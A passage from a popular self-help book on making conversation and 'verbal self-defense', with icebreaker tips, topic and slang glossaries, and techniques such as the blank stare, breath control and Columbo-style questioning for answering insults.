• Don't excessively fawn over the person.
• Don't make sarcastic comments or cutting remarks in an attempt to appear cute. There's nothing cute about
being obnoxious.
• Don't lie to give someone a compliment, and don't use a standard line they've probably heard a thousand
times before.
Instead, here are some icebreakers guaranteed to help you initiate conversation.
• Give people a sincere compliment without fawning over them.
• Bring up a current news event (the juicier the better!).
• Speak positively about people whom you both may know.
• Tell people you observed them and thought that they
a. Resemble a friend, relative, or famous person.
b. Look like they are from ____ (This can be whatever you decide. Just don't say Mars or make a lame
comment.)
c. Work out or are in good shape. Ask if they are athletic.
Maintaining a Confident Conversation
So many people become mute after they say “hello.” They have succeeded in getting the person to
acknowledge them and to make that first contact. Now they freeze, go blank, and stand there like a deer in
headlights, not knowing what to do or say and mumbling about something stupid.
If this scenario sounds all too familiar and you've been there/done that, help is on the way!
The reason you acted like a vegetable is that you began to focus on yourself instead of paying attention to the
other person. You were more concerned about things working out right and about being interesting, witty, and
clever than you were about what the other person was all about. In essence, you were not interested. You may
try to contradict me here by saying “of course I am interested, or I wouldn't have approached them
Page 122
in the first place.” True, you were interested, but you were interested in you making a good impression. If you
shifted your attention away from yourself, you would never have felt so awkward and out of place.
Ask, Ask, and Keep Asking!
The first rule is to ask questions, but not invasive ones. What I am actually saying is to think before you speak
so that you don't put your foot in your mouth and embarrass or insult everyone, including yourself. Instead, try
to find some common ground as you continue to ask questions and relate to the person.
Elaborate—Don't Interrogate!
In the Elaboration Technique, you ask the person who, what, when, where, and why—questions. Use
techniques developed by journalists. Remember to ask your question and then elaborate on the person's answer
by asking another question related to their last answer.
This is a wonderful technique that helps you uncover things you both might share in common. If their answers
are curt, if they seem annoyed, bored, or disinterested, ask another question, or cut the conversation short, it's a
hint that they may no longer wish to speak with you. So leave!
Remember to maintain eye-to-eye contact at all times. It gives you a better opportunity to observe a person and
react to what you see. In doing so, you will make the person feel important and make yourself aware of their
facial and body cues. These invaluable messages will also let you know, in a non-verbal way, that they wish
you'd leave, or that they couldn't bear it if you left. The example in the “Talk Back!” section on the next page
clearly illustrates how a compliment about a dress initiates the topic of travel, which results in the two people
realizing they have something in common, which is further elaborated on to find another commonalty, and so
on and so on.
Studies have shown that the more you have in common with someone, the more likely you are to begin a
relationship. Thus, the Elaboration Technique is just the tool you need to discover potential friends.
Page 123
Talk Back!
Hillary: I like your pretty dress. It's so colorful.
Adrienne: Why, thank you.
Hillary: Did you buy it locally?
Adrienne: No, I got it on my trip to Italy in Capri.
Hillary: This is unbelievable! I just came back from Capri last week. My
husband and I were there to see his family; they have a jewelry business and one
of the largest jewelry shops on the island.
Adrienne: Really? Which one?
Hillary: It's the one in the center of town across from the plaza.
Adrienne: I know the place! I was there! Look, I got this bracelet there.
Hillary: What a coincidence! I can't believe it! Why were you in Capri?
Adrienne: I was there on my honeymoon!
Hillary: So was I!
Here are some extremely important tips for maintaining a conversation:
• Be interested, not interesting.
• Be mindful of your own body and facial language so that you don't invade the person's space.
• Cultivate a wide range of conversational topics that you acquire through the media.
• Have a sense of humor, but don't be a jokester or obnoxious.
• Don't interrupt!
• Be enthusiastic, but not so overly animated so that you come across as phony.
Getting Deeper and Deeper.
Let's say the conversation is going quite well. You discover more and more about one another. You're learning
about your similarities as well as your differences. If you understand the person and can relate when you talk
about specific topics or philosophies, there is a greater chance that this person will feel more favorably towards
you—even become part of your life. If you enjoy the same topics and can speak each other's language (and that
doesn't just mean standard English!), you're both doing well.
What Shall We Talk About?
Topics of conversation come in three categories, from the more basic and superficial to the deepest. Studies
have shown that the deeper the level of conversation and the
Page 124
more numerous the similarities, the deeper the bond will become. Following is a list of the three categories,
from most shallow to deepest, and the topics within each one.
Category 1—Basic Needs
• Food (restaurants, preparation, recipes, favorite meals)
• Travel (vacations, where you're going to go, where you went, likes and dislikes, what you saw and bought
and ate)
• Clothing (styles, shopping, bargains, where to go, accessories)
• Shelter (homes, location, areas, decoration, values, real estate)
• Safety (weather, protection, crime prevention, natural and unnatural disasters, dangerous areas)
Category 2—Relationships
• People/family/interpersonal relationships
• Good, bad, and former relationships
• Dating
• People in the news, celebrities, and other high-profile people
• People you have in common (both those you like and dislike)
• Employers, employees, and co-workers
• Other interesting people you have met
• Foreigners, people you have met in your travels, and people from different cultures
• New information about specific people
• People you admire, people who revolt you (for example, odious newsmakers)
Category 3—Interests, Achievements, and Opinions
• Travel (culture, history)
• Past history of nations
• Political situations in countries
• Attitudes and opinion towards specific news events
• Value system
• Job challenges, career development, past career achievements
• Achievements, failures
• Arts and entertainment opinions and information (film, plays, music)
• Politics and religion (preferably if they are in common with yours)
• Health issues, fitness strategies
• Relationship philosophies and personal application
Page 125
Know What You're Talking About!
“A little knowledge is a dangerous thing,” so make sure you know quite a bit about a subject before you spout
off. If you're giving someone information, make sure it's the right information. Otherwise keep quiet! There is
nothing more annoying than a “know-it-all” who knows nothing.
If you're unfamiliar with a topic, don't be afraid to say so and ask questions of people.
If they are impatient with you or act as thought they think you are stupid for asking, let them know in no
uncertain terms that they are out of line. Their intolerance certainly tells you a lot about how toxic they are. So
watch out for them! Their actions may have revealed that they are a person from whom you need to keep your
distance.
Bingo! You Got the Lingo!
There is perhaps nothing more embarrassing than trying to relate to someone while using the wrong words or
lingo in the wrong context. People will laugh at you, think you are not hip, or think you're trying too hard to
relate.
So what are you supposed to do if you don't know what a word means? Don't be embarrassed. If you don't
know, ask “what do you mean by ___?” This way, you add a new word to your vocabulary.
If you can speak a person's language, you usually have that person on your team, because you can identify with
one another and know what the other is really trying to communicate. When I first started doing talk shows I
didn't always understand the language that was spoken. However, as time went on, I have learned how to both
speak and understand some of today's hippest words. I have learned how to talk “street.”
Chillin' does not mean sticking something in the refrigerator. It means to relax or hang out. Fly doesn't mean
that pesky insect that sits on your hamburgers when you're picnicking. Instead, it means great looking—sexy. If
someone thinks they are all that, they are full of themselves and think they're fly. Bad means good. Homey does
not mean a cozy house, nor do homes mean a group of houses. Derived from the word homeboys,
neighborhood gang members, it means buddy or close friend. An even closer friend is a bro, which can also be
used as a greeting. “Hey bro wuss happenin' man” means “Hello, how are you?” When you kick 'em to the
curb, you aren't literally using your feet to push them over the edge of the pavement. Instead, you are getting
rid of someone with whom you haven't had a happenin' (good, working) relationship.
Page 126
Talking Ethnic
In order to bond with someone from a different culture, it's best to know what certain words mean before you
use them. An American ice skater went on Australian television and said “when I last skated, I fell on my
fanny.” To an American that's not funny at all, but to an Australian, it's hysterical! Translated into Australian,
she said “when I last skated, I fell on my vagina.” So you have to be careful. To help you, I have come up with
a list of some common ethnic words and phrases (many familiar to you) so that you will know what people are
talking about when you hear them. If necessary, I list their pronunciation after the term.
Latin Terms Commonly Used in English
• modus operandi (MO)—method of procedure
• modicum of decorum—way of behavior
• per diem (per DEE um) or per annum—by the day or by the year
• in absentia—in one's absence
• status quo—the present state of things
• de facto—in actuality
• ex post facto—after the fact
• pueris enternis—man refusing to grow up
• per se (per SAY)—in itself, intrinsically
• persona non grata—person not welcome
German Terms Commonly Used in English
• wunderkind (VUN der kind)—talented, precocious child
• angst—foreboding or anxiety
• doppleganger—mirror image
• verboten (vayer BOAT tin)—forbidden
• gesundheit (gez ZUNT hite)—to your health (said after one sneezes)
• zeitgeist (ZITE guyst)—spirit of an era
• wanderlust—yearning to travel
Yiddish Terms Commonly Used in English
• mishigas (mish shig Goss)—insanity
• shlep—drag
• mensch—a person who does good by others
• yenta—gossipy person
• chutzpha (HOOTS pah)—a lot of nerve
Page 127
• klutz—clumsy person
• shlock—cheap stuff
• nebbish—weak, unhip person
• kvetch (kuh VECH)—gripe, complain
French Terms Commonly Used in English
• vis-à-vis (VEE zah VEE)—in relation to
• déjà vu (day zhah VOO)—illusion something happened before
• double-entendre (on TAWN druh)—expression with a double meaning
• malaise (mal LAYZ)—a blue mood or funk—not feeling well
• nuance (NOO wawns)—subtlty
• passé (pass SAY)—out of date or style
• pièce de résistance (PEE yes dah ree zis TONCE)—the best of something
• voilà (vwah LAH)—There it is!
• crème de la crème (krem day lah krem)—The best of the best
• c'est la vie (say lah VEE)—oh well, that's life!, that's the way it is
• tres chic (tray SHEEK)—fashionable and sophisticated
• avant-garde (ah vawnt gard)—ahead of its time
Italian Terms Commonly Used in English
• ciao (chow)—goodbye for now
• incognito (in kog NEE toe)—in disguise
• al fresco (all FRES koe)—free
• terra firma—solid ground
• que sera sera (kay suh RAH suh RAH)—what will be will be
It's Over—I Wanna Go Now
As the old saying goes, it takes two to tango. Just as the person you are talking to might be turned off to you, it
goes both ways. The other person may not be all that you bargained for. The main thing is to maintain your
dignity and that others maintain theirs. Never be a hypocrite and say that you'll call or get together with them if
that is not your real intention. This makes for ill feelings in the long run.
If you never intend to see someone again, just tell him that you enjoyed speaking with him. If you want to
move on and talk to someone else, do so, but do it graciously. Say: “I'm glad we had the opportunity to chat.
Would you please excuse me, because I need to speak to someone over there.” If you just want to mingle, tell
them: “I'm glad we
Page 128
met. I am going to mingle now” (or “meet some other people”). Always remember, the last thing you say
leaves a lasting impression, so be gracious and leave with a firm handshake and a smile.
Don't Be a Liar—Follow Up Immediately!
If you said something during the conversation that requires a follow-up, then follow up. Forgetting is no
excuse! Write yourself a note and put it in a place where you'll be sure to see it. Do it! Whether it's giving
someone a business call, placing her in contact with another person, sending him an article, or anything else,
act immediately on what you said!
Never Say You'll Call If You Don't Mean It!
I can't begin to tell you the number of people whom I have seen with broken hearts, people who have literally
waited by the phone for that expected call and never received it. Even if they had a phone answering machine,
they sacrificed going out somewhere to personally pick up the phone to hear the promiser's call. So if you don't
intend to call, don't say you will! If you think that by saying it you're being polite, you are not! In reality, you
are being extremely rude and potentially hurtful! You have even elicited negative feelings in the person whom
you promised to call.
In the same vein, don't say “let's get together” or agree to get together if you don't intend to do it. It is usually
taken seriously and can elicit negative feelings about you from the people you misled.

Page 129
PART 3
VERBAL DEFENSE STRATEGIES TO USE IN COMBAT
In earlier chapters, you took a good look to determine who your verbal enemy might be. You learned to identify
certain characteristics of these wild and savage verbal beasts who are dangerous to both your physical and
emotional health. You should now feel confident in your abilities to spot these beasts as you wander through
the jungles of life.
You have prepared yourself for defense in every way possible. You are now verbally armed to the point where
nobody should mess with you—or else! You have the strongest weapon imaginable, which can guarantee that
you have the winning advantage in fighting a verbal war. It is a weapon so precious that your adversary can
never get his or her hands on it. That weapon is self-confidence.
Now that you've assembled all of your equipment, this part of the book shares with you all you need to know
about which verbal and non-verbal strategies to use and how and when to use them. You will also learn how to
use more sophisticated verbal weaponry if needed. You will learn the signals to alert you to the fact that the
verbal war is over.
No matter whether you win or lose the verbal war, there is always the aftermath of emotional devastation.
Thus, you will learn how to pick up the pieces and rehabilitate yourself after leaving the verbal battlefield. You
will find out how to heal your emotional wounds. Finally, you will learn how to deal with the aftereffects of
post-traumatic verbal shock syndrome.
Page 131
Chapter 10
Verbal Defense Strategies
Entering the Verbal Combat Zone.
You need to be prepared for everything and anything as you learn the art of verbal self-defense. You might not
be looking for a fight, an argument, or any problems. For example, you go out to walk your dog, and a perfect
stranger walks by and tells you a dead dog story—something you don't want to hear, especially at 7 A.M. Then
you go to the corner to buy a newspaper. As you put out your hand to pay the vendor, someone in line curses
you because she says she was there first, even though you know that you were there before she was. Next, you
unsuspectingly go to get a cup of cappuccino at an upscale coffee shop on the corner. You are met by a nasty,
abrupt, impatient server who looks at you in disgust when you hand him a ten dollar bill and he is forced to
make change for you. As you sit down, you see someone sitting alone at the next table. You smile and say good
morning, she looks away as though you were invisible.
Your day is filled with meetings, but before it begins your boss is barking out commands devoid of “please” or
“thank you,” or, for that matter, any terms of politeness. He shouts only about the few things you did wrong,
ignoring the fact that you did everything else right. In fact, you have done things so right that you are still the
number one salesperson in the company over the past six months.
Page 132
As if your day couldn't get any worse, you finally get to go home and relax, only to discover that you are
getting the silent treatment from your spouse for something you must have done. No kiss, no hug, nothing.
Perplexed, you ask “what's wrong,” only to hear “nothing's wrong!”
Could things possibly get any worse?
Guess what? You have just entered the verbal combat zone! But there is good news—you need not be a victim
anymore! Help has finally arrived! The pages to come will show you how to effectively strategize to defend
yourself against these foes. You will never be a verbal victim again.
A Verbal Weakling No More!
Remember the cartoon where the big buffed-up bully kicks sand in the face of the 90-pound weakling? Then
the little guy works out and pumps up. Now he's the one who kicks the sand kicker's behind as he's bigger and
stronger after a regimen of weight training and diet.
You are in the same position as the little guy. You are going to be trained and fed with the proper verbal
nutrients—the right words to say to any adversary in any circumstance. This in turn will allow you to pump
yourself up and kick some verbal butt!
Verbally Pumping Up
Just as the boxer, wrestler, and karate champion have to do a standard workout before they get into the arena to
defend themselves against their opponents, you have to do the same.
They have a daily physical exercise regimen that requires exercises to stretch and build up the muscles in their
upper and lower body. They do this every day to make themselves stronger, more limber, and more confident
in their physical abilities.
Similarly, you need to have a daily verbal exercise regimen that prepares you for any verbally venomous
opponent you will encounter. You need to work out the physical, verbal, and communication skills discussed in
Chapters 6, 7, and 8. Doing exercises for posture, breathing, voice, jaw, nasality, pronunciation, and
communication skills will help you become more verbally limber and more confident in your communication
abilities.
Imaginary Conversation Strategy
You need to practice what you are going to say to your verbal adversary. You need to imagine yourself talking
to him, playing out every possible scenario in your mind. Then, when it comes time for you to face the real
situation, it will be a piece of cake

Page 133
for you. You will have already rehearsed what to say in every possible outcome so that you are no longer
nervous when you have to have a face-off on the verbal battleground.
As you talk to yourself, imagine asking out the guy or girl you like.
Imagine them saying “yes.” Then imagine them saying “no.” Finally, imagine them saying “maybe.” Practice
what you would say in each of these possible outcomes.
Now, in your mind, ask your boss for a raise. Picture yourself sitting down in the chair in front of his desk. See
yourself sitting with the confident sitting posture you learned about in previous chapters. See yourself looking
directly at his face as you say, “Mr Brown, I have been with the company for over four years and have brought
in thousands of dollars of new business every month. This is why I feel comfortable talking with you about the
possibility of raising my salary.”
See yourself, hear yourself, feel yourself going over and over the scenario. Going over it while picturing
yourself gives you confidence. Do it over again and again, until you are devoid of stammering and mumbling.
Bear down on exactly what you want to say until it is committed to memory. Practice until saying what you
want to say becomes second nature to you. Now again, visualize your reaction if the boss says “yes,” then your
reaction and response if he says “no” or “maybe.” By the time you have to actually sit down in front of your
boss and ask him for a raise, you will be 150 percent prepared.
Use this strategy to practice telling someone off or confronting someone who has betrayed you. After
examining every possible scenario in your mind, you will know exactly what to say and how to say it to your
verbal adversary.
Chapter 11 explains how to use each of the verbal strategies available to you. Then you can effectively use this
“Imaginary Mirror Technique” with a specific verbal strategy that you have picked.
Through the Looking Glass
The best way to practice the Imaginary Conversation Strategy is while you are looking into a mirror. That way,
as you talk to yourself, you will be more conscious of your facial expressions, posture, voice, and how other
people see you. You might want to put a tape recorder near you as you rehearse the various scenarios while
looking in the mirror. It can serve as a barometer to let you know how you come across vocally during certain
levels of anger or excitement.
The very best time to practice is in the morning when you are already looking in the mirror to either shave or
put on your makeup. Why not take a few extra moments to

Page 134
practice your strategy? You can even do it in your car when you are alone, perhaps while driving to and from
work.
Knowing When to Attack Back
It is only when you really know yourself (which you probably do by now, having read Chapter 8) that you
become utterly confident and secure that you are doing the right thing. You automatically know when to take
matters in your own hands and attack back! You know what your limits are. Nobody else but you does.
In order to feel more comfortable attacking back, think of all the times in your life when you didn't attack back
or respond to your verbal adversary. Think about how you felt immediately afterwards, two hours later, during
your sleep (not being able to sleep, or having a bad dream about it), and when you got up the next morning. In
the following chart, put an X next to the times of the day when someone said something that bothered you.
Write down as many situations as you can remember, even from childhood, where you took the verbal abuse
and didn't react immediately.
What Your Answers Mean.
Do you see a pattern here? Do you think immediately afterwards about what happened? If you do, that's good.
It's a normal reaction. You obviously need a few

Page 135
minutes, even up to a half hour, to digest exactly what they said. You probably wish you had said something
back, but it's too late and you let it go. Your letting it go and really forgetting about or not paying attention to
what happened is not lip service. You have a productive and healthy way of dealing with toxic individuals.
If it's still in your mind two hours later, that's starting to be a problem, because it's wasting time that you could
have spent thinking about more positive and productive things.
If it has kept you awake, or tossing and turning, you are in big trouble. If it's giving you an upset stomach or
heartburn, makes you throw up, or makes you feel like unzipping your skin and jumping out of it, then you are
also in big trouble. Now the fact that you didn't respond has affected you physically. That is dangerous. If it
happened in two situations or more, then you have developed a pattern of making yourself sick over not taking
action. You are literally “kicking yourself,” causing yourself pain and agony because of your nonconfrontational
behavior.
If you have ever thought about the situation as soon as you got up in the morning, you have probably awakened
with either a headache or nausea. Even if you are feeling just a little nauseous, it's still nausea. The toxicity of
the situation and your not dealing with it has crept into your internal organs—namely, your stomach and your
brain. It has affected your blood flow, not to mention consuming your thoughts. If you woke up with the
problem on your mind, chances are that you will likely be thinking about it periodically during the day or
perhaps all day long. Now your poor internal organs are being tortured by your lack of dealing with the
situation.
Two days have gone by, and you are still undergoing mental torture. Every time you think of what happened,
you get restless, and your face has a tense and angry expression. By now you have told everyone what
happened, to get some relief and support so that you won't have to carry this heavy burden all by yourself.
Some of the people you tell take your side; you lose respect for and get mad at those who don't. Now you have
two problems—the one that's been bugging you for two days and the loss of some people you thought were
your friends. In your mind, they proved who they are and you plan to drop them like a hot potato.
Two days pass, now a week, and you are still thinking about what you could've, should've, or would've done if
you had it to do all over again. By now you have developed chronic head and stomach pains, in addition to
back and neck pains. Every time you think about it, you literally get sick. This is the time to see a therapist.
You not only need to get treated for your physical back and neck pains by a chiropractor. You need to be
treated for your mental pain by a psychologist.
Page 136
Keep Your Eyes and Ears Open at All Times
The first thing you need to do when dealing with a toxic situation is get your head out of the sand and face the
situation directly. If you don't do this the only one who is going to get hurt is you.
The first step of any martial arts training is to keep your eyes fixed on your opponent so that you can anticipate
any move he or she makes. This way you can block his kick, and take him off balance by leaning back or going
forward. The same is true in the verbal arts. You need to keep both your eyes and your ears on the alert at all
times.
It's time to come out of the closet! It's time to admit to yourself and to everyone else that you are a human
being. You are a human being who both requires and deserves respect—respect from others, and most
important of all, self-respect.
A self-respecting human being would never allow the earlier scenario to go so far. She would nip it in the bud
immediately! When a soldier is engaged in actual battle on the battlefield, does she wait two hours, a week, a
month, or a year to deal with the enemy who has just attacked her? Of course not! It goes without saying that
she would be dead if she didn't handle the situation immediately!
Make a Choice and Make It Now
The soldier has choices, but he has to make those choices in a split second. His choices determine the outcome
of his well-being. He can run for his life, he can hide, he can shoot back, or he can use a hand grenade and
blow everything to bits. He also has another choice, and that is to do nothing and die in battle.
This scenario would never have happened at all had the leaders of the two opposing sides sat down in an
attempt to make peace with one another.
Even though this is a rather harsh analogy, it's the naked truth! After all, this book is about defending yourself
against the enemy—the verbal enemy!
The strategy for verbal self-defense is no different from the one the soldier uses. You, like the soldier, have to
make choices—and immediate choices at that! The choices you make determine the outcome of your wellbeing.
You can run for your life and never look back (the Unplug Strategy). You can shoot back (Mirroring
Strategy). You can really let the verbal enemy have it, by verbally blowing him or her to bits (Give 'Em Hell
and Yell Technique). Finally, you can do nothing. You can simply remain silent and allow the verbally abusive
enemy's toxins to fester inside you, to the point that it makes you mentally or physically ill. If the verbal abuse
takes place over long periods of time, the end result can even kill you!
Page 137
Picking Your Strategy
Now that you know that you have to make a choice, because your life can literally depend on it, you need to
know that you are in complete control. You are in control of picking the right strategy to use at the right time
with the right verbal enemy. If one strategy doesn't work, know that you have others from which to choose.
The thing to remember in picking your verbal weapon is that, like the martial artist, you are never initially on
the offensive. The black belt in karate keeps her lethal weapons (her hands and feet) under wraps until she must
defend herself.
Similarly, you too need to keep your verbal weapons under wraps until the point that you have to verbally
defend yourself.
The Verbal Artist Has Complete Control!
In order to be in complete control, there are four things you need to remember, no matter what:
1. Enter every situation in the verbal battlefield with an open mind.
2. Observe “what is.”
3. Take a moment to pick your strategy.
4. Go ahead and defend yourself.
In the first step, you, the verbal artist, come into any situation “clean” and weaponless, with no hidden agenda,
like the martial artist. You leave your ego at the door. You have no chip on your shoulder. You are just
“you”—open, honest, and not offensive in any way. This means that you never initiate an attack, consciously
saying anything that is verbally toxic to another person. You, like the martial artist, are calm, open-minded,
pleasant, and accepting of everyone who crosses your path.
When using the second step, by simply observing what “is,” you, like the martial artist, are not concerned with
the past: you deal only with the present, experiencing the here and now. Therefore, neither you nor the martial
artist is burdened by excess baggage.
Page 138
You both have learned to let go. You have learned not to take a toxic situation from the past into your present
time and space. As a result, peacefulness and pleasantness reside in your demeanor, your body language, face,
language, verbal tones, and in everything you happen to say to others.
For the third step, while continuing to take control over the situation, make certain that you are in absolute
conscious control by controlling your breathing. In Chapter 11, you learn how to effectively control your
breathing using the Breath Control Technique. This technique gives you the split-second timing to reach into
your bag of “verbal self-defense strategies” and pick the one appropriate to that particular situation.
Picking the right verbal weapon with which to defend yourself does take a lot of skill. But don't worry. With a
lot of practice, you, just like the black belt in karate, will learn to develop the skill to become a verbal black
belt.
The martial arts expert is well-versed in his stances, blocks, and kicks. By having control over the situation,
you are equally well-versed in your stance (head and body posture), moves (facial, arm, and hand movements),
and kicks (verbal self-defense strategies). The martial artist has physical advantage over his opponent; you now
have vocal advantage over your opponent.
Now for the fourth step. When the martial artist decides to kick back, watch out. The results are not pretty.
Neither are they pretty when you decide to “kick back” verbally, as your opponent will definitely get a dose of
his own verbal poison. He might even get more than he bargained for. Because he will be completely disarmed,
rest assured that he will definitely think twice about attacking you—the verbal black belt—or anyone else, for
that matter.
Page 139
Chapter 11
Letting Them Know They've Overstepped Their Verbal Boundaries
If you are to gain an advantage over your opponent, you must have both the knowledge and the ability to
choose and use verbal self-defense techniques, depending upon which ones are called for.
Techniques range from silence to taking extreme verbal measures. The key is letting someone know that she
has clearly overstepped her boundaries.
Learning each of these verbal strategies is so important because it helps you rid yourself of any toxins that
might reside in your system as a result of keeping the verbally venomous person's poison within you.
In Chapter 10, you learned that you must never keep any of the verbal venom inside of you, and that doing so
can be deleterious to both your physical and mental health.
Silent, Expressionless, Blank Stare
The silent, expressionless, blank stare occurs when you immediately stop everything you are doing and freeze
as you blankly stare down your opponent. This often throws your verbal adversary so off balance that he
doesn't know what to do.
Page 140
In this case, silence is truly golden. You most likely grew up with this technique being done to you. As a child,
all your mother or father needed to do was to give you that “look,” or rather, “non-look.” First came the
expressionless stare, followed by silence, followed by a furrowed brow and then, the verbal reprimand. After
some time and many blank stares, it got to the point where all your parents had to do was to give you that look
and you immediately knew you had to behave. Teachers often use this technique to get their students to be
quiet and to pay attention.
It's most disconcerting to see a face that is usually full of expression and life turn mask-like. It's so
disconcerting to be shocked by this out-of-context facial non-expression, that you tend to stop whatever you are
doing, just to make sure your eyes are not deceiving you.
Now that we have established that this technique definitely works, you need to use it as part of your repertoire
in verbal defense. Imagine that someone says something really insulting to you. Here are the steps you need to
take to stare him down.
1. Immediately stop whatever you are doing.
2. Take a small breath of air in through your nose. It is important to aid in your silence that you not inhale
through your mouth. Because you are not going to be speaking, you don't need to fill your abdominal area with
air. You are not going to be making any rich sonorous tones.
3. Hold the breath. By holding your breath, you are slowing down your heart rate as well as focusing your
thoughts, so that you are in total control of the situation.
4. While still holding your breath, relax every one of your facial muscles. Visualize your forehead relaxing,
along with your eyelids, nose, cheeks, lips, jaw, and chin. From the top to the bottom of your face, feel your
muscles relaxing so much that your face becomes expressionless.
5. Now look in the direction of the verbal perpetrator. Just stare at him. Try not to blink; just stare. Usually
after 3 seconds, he will feel so uncomfortable that he will
Page 141
most likely say “What's wrong?” or “What are you looking at?”—with a small chuckle and an
uncomfortable tight-lipped smile.
6. Do not speak! Just keep staring. As soon as he has spoken, you know you have gotten the upper hand in the
situation. See how fast the tables have turned. Now it is you who are in control. His attempt to overpower you
by his toxic words is nullified. Your facial shield protects you from giving him any satisfaction for trying to
annihilate you with his verbal bullets. Now, he is the one squirming, not you.
By the way, as soon as he starts speaking, which he will do in a matter of seconds, you can release your breath
so you don't turn blue and pass out.
The Look of Disgust Strategy
The Look of Disgust Strategy is very much like the Silent, Expressionless, Blank Stare Strategy. Instead of
having no expression on your face, however, you have an expression of disgust. This technique is especially
disconcerting to your opponent because he was not expecting this—someone scowling at him in disgust,
staring at him, and saying nothing.
Now he is really thrown off balance. He might start to furrow his forehead and knit his brows together,
tightening up his jaw as he says, in a defensive tone, “What's the matter?” or “Why are you looking at me like
that?” If he is really uncomfortable, you might hear those infamous four words, “I was only kidding.” There is
no way he was “just kidding.” You know it and he knows it. And now he knows that he can't speak to you the
way he did. Your facial expression speaks volumes.
To make the Look of Disgust:
1. Raise your upper lip.
2. Wrinkle your nose.
3. Open your mouth.
4. Raise your chin.
5. Squint your eyes.
This is a universal expression. People from every culture use this facial expression to reflect the emotion of
disgust.
Page 142
Let It Go—Breathe and Blow Strategy
When doing this strategy you must remember the importance of never ever allowing any of this verbal venom
to fester inside of you and poison your psyche. As I mentioned in Chapter 2, venomous words are like glue—
they stick. They will always stick to you unless you are able to release them mentally and physically.
Therefore, the next strategy is designed to give you complete control over your emotions. This strategy
underlies all of the other strategies presented in this chapter.
When someone aggravates, your adrenaline begins to flow. Your heart beats faster, your head begins to throb,
your face reddens, and your eyes bulge out as you hold your breath. Because you are so shocked, you in
essence forget to breathe. In this case, I'm not talking about strategies where you consciously hold your breath
in order to achieve a specified effect. I'm talking about uncontrolled cessation of breathing. Here is how you
can effectively use the Breathe and Blow strategy to oxygenate yourself.
1. Take a small breath—a two-second sip of air into your mouth.
2. Next, think of your verbal adversary. Recall all the awful things he said to you. Hear his voice spewing forth
poisons. Do your recalling in the three-second period where you will be consciously holding on to your breath.
In this case, you are in complete control of your breathing because you are fully conscious of what you are
doing.
3. As you keep this “verbal violator” in your mind, blow him out through your mouth, exhaling with all your
strength.
4. Keep blowing out this breath until you have completely run out of air.
5. Now stop for two seconds and do not breathe.
6. Repeat this exercise a second time. As you literally blow what he said out of your mind, you are ejecting this
person from your system.
7. Repeat this procedure once more as you continue to blow out all of the toxic negativity and ill feelings the
person's words have brought you.
8. Now stop and take a big breath in through your mouth, filling up your lungs and exhaling normally.
While using this strategy, you may feel a bit light-headed. Not to worry—this is quite normal.
Page 143
Calm, Calculating, Questioning Strategy—Like Columbo
Remember the popular television series Columbo? Detective Columbo would calmly ask invasive questions in
such a matter-of-fact, unassuming way that the criminal would unsuspectingly cooperate and answer his
seemingly benign—but really quite calculated—questions. Then, of course, Columbo was able to solve the
crime and save the day.
Just as Columbo caught his criminal by throwing him or her off balance, you too can use the same approach to
throw your verbal opponent off balance.
If you use this technique, you must use a non-hostile, non-angry, unassuming tone. You will have more
successful results if you take the following advice.
The purpose of this strategy is to ask someone a series of questions that require either a yes or no answer in a
logical progression. It's kind of like a courtroom lawyer who attempts to make an important point by having his
witness respond to a succession of questions. In your case, however, you aren't hostile.
In questioning, you have to begin by asking the most absurd question, which is guaranteed to elicit a no
answer. Then keep going, asking less and less bizarre and over-the-top questions until the person gets the point.
Eventually, he is put in a corner and is forced to see how wrong he is. The “Talk Back!” section gives a clear
example of what I'm talking about. The ignorant man who made a generalized racial slur did a complete
turnaround in his thinking as a result of this strategy.
Talk Back
Here is the Calm, Calculating, Columbo-Like Questioning Strategy in action.
This is a dialogue between an ignorant, prejudiced, narrow-minded bigot and a
level-headed, open-minded, people-loving person. The bigot has made a
pejorative comment about people of color. The Loving Person takes control, as
you will see.
Loving Person: You mean to say you can't stand every single black person in
the entire world?
Bigot: No, I didn't say that.
Loving Person: Do you know of any black person that you do like?
Bigot: I can't recall anyone.
Loving Person: Do you like sports?

Page 144
Bigot: Of course, doesn't every man?
Loving Person: Do you respect any sports stars?
Bigot: Yes.
Loving Person: Who?
Bigot: Muhammad Ali and Michael Jordan.
Loving Person: How about in politics or music?
Bigot: I don't know much about politics, but I like BB King and Aretha
Franklin.
Loving Person: Is there any one black person whom you ever thought was
intelligent or talented?
Bigot: Sure, Oprah Winfrey, that guy on 60 Minutes…Ed Bradley.
Loving Person: Have black people as a whole ever done anything to hurt you
personally?
Bigot: No, not me. Not personally.
Loving Person: You seem like a hard-working man who takes care of his
family. Do you think that there are some black people who work hard for and
care about their families as much as you care about yours?
Bigot: Of course there are!
Loving Person: Do you personally know a lot of black people?
Bigot: No, not personally.
Loving Person: Have you ever worked with any black people?
Bigot: Of course I have.
Loving Person: Did you hate every black person you worked with?
Bigot: Of course not. In fact, one of my best buddies at work was a black man.
Loving Person: Have you ever felt that if fewer people hated one another and
got to know one another better as individuals, just like you got to know your
buddy at work, that there would be less hatred and ignorance in the world?
This strategy is so powerful because it makes a person become accountable for what verbal toxin he has
spewed forth. If you practice this strategy and learn to do it well, you can not only make your point, you can
even change the other person's way of thinking. As an active participant in the communication process, he is
clearly able to take a good look at himself and see how ridiculous he has been.
The Naked Truth Strategy.
Because it is such a rarity in this day and age, direct, bold honesty can blow someone out of the water! When
someone makes a nasty and hurtful comment to you, you have the option to tell her the “naked truth.” If you
decide to use this strategy, you will definitely have thrown her off balance. No way was she expecting to hear
how repulsive you think she was being when she said what she said to you.

Page 145
Most likely, she will be intimidated by your direct honesty as you deliver the message to her in a projected and
well-modulated tone, with an upright, heads-up posture. This is a perfect situation to illustrate how your daily
verbal workouts can assist you in each of the strategies you choose to use. Incorporating good posture, direct
facial contact, and a sonorous voice—techniques you learned about earlier in this book—are essential if you
want to be effective in getting your verbal message across to verbal abusers.
The Naked Truth Strategy often prevents verbal bombs from being hurled at you in the future. Your verbal
adversary usually gains a newfound respect for you, because you have let her know in no uncertain terms that
you are on to her verbal games and you will tolerate none of them.
In essence, your self-respect—speaking up for yourself—made the verbal enemy have more respect for you as
well.
“The Joke's on You”—Funny Bone Strategy
Another sure-fire way to throw your verbal enemy off-kilter is to make fun of either him or yourself.
Sometimes it's difficult for you to come up with something funny, especially after the other person says
something that almost leaves you crying, not laughing. Once again, take that lifesaving sip of air in through
your mouth for two seconds. Hold it for two seconds, and then start rolling with some humor. The four seconds
buys you some time to think of a joke.
It's best to make a joke related to something negative the person said to you. By retorting in a positive and
humorous vein, you gain the upper hand and control over the situation. On the other hand, you can add insult to
